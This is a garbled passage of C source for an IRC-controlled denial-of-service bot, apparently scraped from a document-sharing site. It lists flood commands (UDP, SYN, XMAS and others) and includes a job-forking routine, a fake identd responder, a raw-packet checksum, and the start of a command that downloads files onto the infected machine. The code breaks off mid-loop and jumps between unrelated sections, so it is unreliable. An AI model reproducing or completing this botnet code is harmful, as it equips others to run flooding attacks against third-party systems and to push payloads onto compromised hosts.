Professional Documents
Culture Documents
udp <port> syn <port> fin <port> psh <port> ack <port> urg <port> rst <port> ece
<port> cwr <port> sew <port> xmas <port> unknown
} int Send(int sock, char *words, ...) { static char textBuffer[1024]; va_list
args; va_start(args, words); vsprintf(textBuffer, words, args); va_end(args);
return write(sock,textBuffer,strlen(textBuffer)); } int mfork(char *sender)
{ unsigned int parent, *newpids, i; if (disabled == 1) { Send(sock,"NOTICE %s
:Unable to comply.\n",sender); return 1; } parent=fork(); if (parent <= 0) return
parent; numpids++; newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
for (i=0;i
if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1)
exit(0); for(;;) { fd_set bla; struct timeval timee; FD_ZERO(&bla);
FD_SET(tmpsock,&bla); timee.tv_sec=timee.tv_usec=60; if (select(tmpsock + 1,&bla,
(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0); if (FD_ISSET(tmpsock,&bla)) break; } i
= recv(tmpsock,szBuffer,1024,0); if (i <= 0 || i >= 20) exit(0); szBuffer[i]=0; if
(szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0; if (szBuffer[i-2]
== '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0; Send(tmpsock,"%s : USERID : UNIX
: %s\n",szBuffer,ident); close(tmpsock); close(sockfd); exit(0); } long pow(long a,
long b) { if (b == 0) return 1; if (b == 1) return a; return a*pow(a,b-1); }
u_short in_cksum(u_short *addr, int len) { register int nleft = len; register
u_short *w = addr; register int sum = 0; u_short answer =0; while (nleft > 1) { sum
+= *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w; sum
+= answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum;
return(answer); } void get(int sock, char *sender, int argc, char **argv) { int
sock2,i,d; struct sockaddr_in server; unsigned long ipaddr; char buf[1024]; FILE
*file; unsigned char bufm[4096]; if (mfork(sender) != 0) return; if (argc < 2)
{ Send(sock,"NOTICE %s :GET <save as>\n",sender); exit(0); } if ((sock2 =
socket(AF_INET, SOCK_STREAM, 0)) == -1) { Send(sock,"NOTICE %s :Unable to create
socket.\n",sender);